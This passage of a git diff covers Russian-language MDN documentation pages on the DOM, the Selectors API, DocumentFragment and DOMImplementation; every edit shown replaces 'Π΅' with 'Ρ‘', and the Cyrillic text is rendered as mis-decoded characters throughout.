+ <td>namedNodeMap ΠΏΠΎΠ΄ΠΎΠ±Π½Π° массиву, Π½ΠΎ элСмСнты доступны ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ ΠΈΠ»ΠΈ индСксу. Доступ ΠΏΠΎ индСксу - это лишь для удобства пСрСчислСния, Ρ‚.ΠΊ. элСмСнты Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ порядка Π² спискС. Π­Ρ‚ΠΎΡ‚ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ item() для этих Ρ†Π΅Π»Π΅ΠΉ ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ элСмСнты ΠΈΠ· namedNodeMap</td>
</tr>
</tbody>
</table>
@@ -144,11 +144,11 @@ table.summary = "note: increased border";</pre>
<h3 id="ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅_интСрфСйсы_Π²_DOM_Core_interfaces_in_the_DOM">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ интСрфСйсы Π² DOM (Core interfaces in the DOM)</h3>
-<p>Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» пСрСчисляСт нСсколько самых распространСнных интСрфСйсов Π² DOM. ИдСя Π½Π΅ Π² Ρ‚ΠΎΠΌΒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°ΡŽΡ‚ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ API, Π½ΠΎ Π² Ρ‚ΠΎΠΌΒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ нСсколько мыслСй насчСт Π²ΠΈΠ΄ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ часто Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ DOM. Π­Ρ‚ΠΈ распространСнныС части API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Ρ€Π°Π·Π΄Π΅Π»Π° <a href="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference/Examples">DOM Examples</a> Π² ΠΊΠΎΠ½Ρ†Π΅ этой справки.</p>
+<p>Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» пСрСчисляСт нСсколько самых распространённых интСрфСйсов Π² DOM. ИдСя Π½Π΅ Π² Ρ‚ΠΎΠΌΒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°ΡŽΡ‚ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ API, Π½ΠΎ Π² Ρ‚ΠΎΠΌΒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ нСсколько мыслСй насчёт Π²ΠΈΠ΄ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ часто Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ DOM. Π­Ρ‚ΠΈ распространённыС части API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Ρ€Π°Π·Π΄Π΅Π»Π° <a href="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference/Examples">DOM Examples</a> Π² ΠΊΠΎΠ½Ρ†Π΅ этой справки.</p>
<p><code>Document, window</code> - это ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, Ρ‡ΡŒΠΈ интСрфСйсы Π²Ρ‹, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΎΡ‡Π΅Π½ΡŒ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ DOM. Говоря простыми словами, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>window</code> прСдставляСт Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π²Ρ€ΠΎΠ΄Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>document</code> - ΠΊΠΎΡ€Π΅Π½ΡŒ самого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. <code>Element</code> наслСдуСтся ΠΎΡ‚ ΠΎΠ±Ρ‰Π΅Π³ΠΎ интСрфСйса <code>Node</code>, ΠΈ эти интСрфСйсы вмСстС ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΈ свойств, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Ρƒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов. Π­Ρ‚ΠΈ элСмСнты Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ интСрфСйсы для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ‚ΠΈΠΏΠ°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ эти элСмСнты содСрТат, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ <code>table</code> Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ случаС.</p>
-<p>НиТС прСдставлСн ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ список распространСнных Ρ‡Π»Π΅Π½ΠΎΠ² API, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π²Π΅Π±- ΠΈ XML-страниц с использованиСм DOM:</p>
+<p>НиТС прСдставлСн ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ список распространённых Ρ‡Π»Π΅Π½ΠΎΠ² API, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π²Π΅Π±- ΠΈ XML-страниц с использованиСм DOM:</p>
<ul>
<li><code><a href="/ru/docs/Web/API/Document/getElementById">document.getElementById</a>(id)</code></li>
diff --git a/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
index 0bdfd09bdc..fcf0e9351a 100644
--- a/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
+++ b/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
@@ -6,7 +6,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors
---
<div>{{ gecko_minversion_header("1.9.1") }}</div>
-<div>Selectors API прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ½ΠΎ быстро ΠΈ просто ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΡƒΠ·Π»Π°ΠΌ <code><a href="/en-US/docs/DOM/element">Element</a></code> ΠΈΠ· DOM ΠΏΡƒΡ‚Π΅ΠΌ сопоставлСния с Π½Π°Π±ΠΎΡ€ΠΎΠΌ сСлСкторов. Π­Ρ‚ΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ быстрСС, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΡˆΠ»Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ, Π³Π΄Π΅ Π½Π°Π΄ΠΎ Π±Ρ‹Π»ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†ΠΈΠΊΠ» Π² JS-ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ элСмСнты.</div>
+<div>Selectors API прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ½ΠΎ быстро ΠΈ просто ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΡƒΠ·Π»Π°ΠΌ <code><a href="/en-US/docs/DOM/element">Element</a></code> ΠΈΠ· DOM ΠΏΡƒΡ‚Ρ‘ΠΌ сопоставлСния с Π½Π°Π±ΠΎΡ€ΠΎΠΌ сСлСкторов. Π­Ρ‚ΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ быстрСС, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΡˆΠ»Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ, Π³Π΄Π΅ Π½Π°Π΄ΠΎ Π±Ρ‹Π»ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†ΠΈΠΊΠ» Π² JS-ΠΊΠΎΠ΄Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ элСмСнты.</div>
<div>Β </div>
@@ -16,7 +16,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors
<dl>
<dt><code>querySelector</code></dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» <a class="internal" href="/en-US/docs/DOM/element" title="en-US/docs/DOM/Element"><code>Element</code></a> Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€Π΅Π²Π°. Если ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΡ… ΡƒΠ·Π»ΠΎΠ² Π½Π΅Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ <code>null</code>.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΉ ΡƒΠ·Π΅Π» <a class="internal" href="/en-US/docs/DOM/element" title="en-US/docs/DOM/Element"><code>Element</code></a> Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€Π΅Π²Π°. Если ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΡ… ΡƒΠ·Π»ΠΎΠ² Π½Π΅Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ <code>null</code>.</dd>
<dt><code>querySelectorAll</code></dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <a class="internal" href="/en-US/docs/DOM/NodeList" title="en-US/docs/DOM/NodeList"><code>NodeList</code></a><code>, </code>содСрТащий всС подходящиС ΡƒΠ·Π»Ρ‹ <code>Element</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€Π΅Π²Π° ΡƒΠ·Π»ΠΎΠ². Или Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ пустой <code>NodeList</code>, Ссли совпадСний Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ.</dd>
</dl>
@@ -27,7 +27,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors
<h2 id="Selectors">Selectors</h2>
-<p>Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ большС сСлСкторов, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ элСмСнты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ классы <code>warning </code>ΠΈΠ»ΠΈ <code>note</code>, ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
+<p>Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ большС сСлСкторов, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ элСмСнты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹. НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ классы <code>warning </code>ΠΈΠ»ΠΈ <code>note</code>, ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<pre><code>var special = document.querySelectorAll( "p.warning, p.note" );</code></pre>
diff --git a/files/ru/web/api/documentfragment/index.html b/files/ru/web/api/documentfragment/index.html
index 61a6ae1571..edfbe14735 100644
--- a/files/ru/web/api/documentfragment/index.html
+++ b/files/ru/web/api/documentfragment/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/DocumentFragment
---
<p>{{ APIRef("DOM") }}</p>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ DocumentFragment прСдставляСт собой ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ родитСля. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ лСгкая вСрсия  {{domxref ("Document")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ сформированныС ΠΈΠ»ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ XML.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ DocumentFragment прСдставляСт собой ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ родитСля. Он ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ лёгкая вСрсия  {{domxref ("Document")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠΎ сформированныС ΠΈΠ»ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ XML.</p>
<p>Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π²Π·ΡΡ‚ΡŒ document fragmentΒ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π»ΡŽΠ±Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ интСрфСйса Node, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Node.appendChild ΠΈ Node.insertBefore), Π² этом случаС ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»ΡΡŽΡ‚ΡΡ ΠΈΠ»ΠΈ Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ Β Π΄Π΅Ρ‚ΠΈ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, Π° Π½Π΅ сам Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚.</p>
@@ -15,7 +15,7 @@ translation_of: Web/API/DocumentFragment
<h2 id="Specification" name="Specification">Бвойства</h2>
-<p><em>Π­Ρ‚ΠΎΡ‚ интСрфСйс Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… свойств ΠΏΠΎΠΌΠΈΠΌΠΎ наслСдуСмых ΠΎΡ‚ Π΅Π³ΠΎ родитСля, {{domxref("Node")}}, ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… из интСрфСйса {{domxref("ParentNode")}}.</em></p>
+<p><em>Π­Ρ‚ΠΎΡ‚ интСрфСйс Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… свойств ΠΏΠΎΠΌΠΈΠΌΠΎ наслСдуСмых ΠΎΡ‚ Π΅Π³ΠΎ родитСля, {{domxref("Node")}}, ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… из интСрфСйса {{domxref("ParentNode")}}.</em></p>
<dl>
<dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
diff --git a/files/ru/web/api/domhighrestimestamp/index.html b/files/ru/web/api/domhighrestimestamp/index.html
index 666c2f7ecc..08264fdf0d 100644
--- a/files/ru/web/api/domhighrestimestamp/index.html
+++ b/files/ru/web/api/domhighrestimestamp/index.html
@@ -23,7 +23,7 @@ event.timeStamp
// ...
-// ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½Π½Π°Ρ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ `privacy.resistFingerprinting`
+// ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½Π½Π°Ρ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ `privacy.resistFingerprinting`
event.timeStamp;
// 1519129853500
// 1519129858900
diff --git a/files/ru/web/api/domimplementation/createhtmldocument/index.html b/files/ru/web/api/domimplementation/createhtmldocument/index.html
index 51092a034b..b339da409b 100644
--- a/files/ru/web/api/domimplementation/createhtmldocument/index.html
+++ b/files/ru/web/api/domimplementation/createhtmldocument/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument
---
<p>{{ApiRef("DOM")}}</p>
-<p><span class="seoSummary">ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>DOMImplementation.createHTMLDocument()</code></strong> создаСт Π½ΠΎΠ²Ρ‹ΠΉ HTML {{ domxref("Document") }}.</span></p>
+<p><span class="seoSummary">ΠœΠ΅Ρ‚ΠΎΠ΄ <strong><code>DOMImplementation.createHTMLDocument()</code></strong> создаёт Π½ΠΎΠ²Ρ‹ΠΉ HTML {{ domxref("Document") }}.</span></p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -26,7 +26,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся Π½ΠΎΠ²Ρ‹ΠΉ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ вставляСтся Π² {{HTMLElement("iframe")}} Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся Π½ΠΎΠ²Ρ‹ΠΉ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ вставляСтся Π² {{HTMLElement("iframe")}} Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<p>Π’ΠΎΡ‚ HTML для этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
diff --git a/files/ru/web/api/domimplementation/index.html b/files/ru/web/api/domimplementation/index.html
index f68c256376..e0e5834098 100644
--- a/files/ru/web/api/domimplementation/index.html
+++ b/files/ru/web/api/domimplementation/index.html
@@ -14,7 +14,7 @@ translation_of: Web/API/DOMImplementation
<h2 id="Бвойства">Бвойства</h2>
-<p><em>Π­Ρ‚ΠΎΡ‚ интСрфСйс Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ свойства ΠΈ Π½Π΅ наслСдуСт Π΅Π³ΠΎ.</em></p>
+<p><em>Π­Ρ‚ΠΎΡ‚ интСрфСйс Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ свойства ΠΈ Π½Π΅ наслСдуСт Π΅Π³ΠΎ.</em></p>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
@@ -22,13 +22,13 @@ translation_of: Web/API/DOMImplementation
<dl>
<dt>{{domxref("DOMImplementation.createDocument()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("XMLDocument")}}.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("XMLDocument")}}.</dd>
<dt>{{domxref("DOMImplementation.createDocumentType()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DocumentType")}}.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DocumentType")}}.</dd>
<dt>{{domxref("DOMImplementation.createHTMLDocument()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ HTML {{domxref("Document")}}.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ HTML {{domxref("Document")}}.</dd>
<dt>{{domxref("DOMImplementation.hasFeature()")}}</dt>
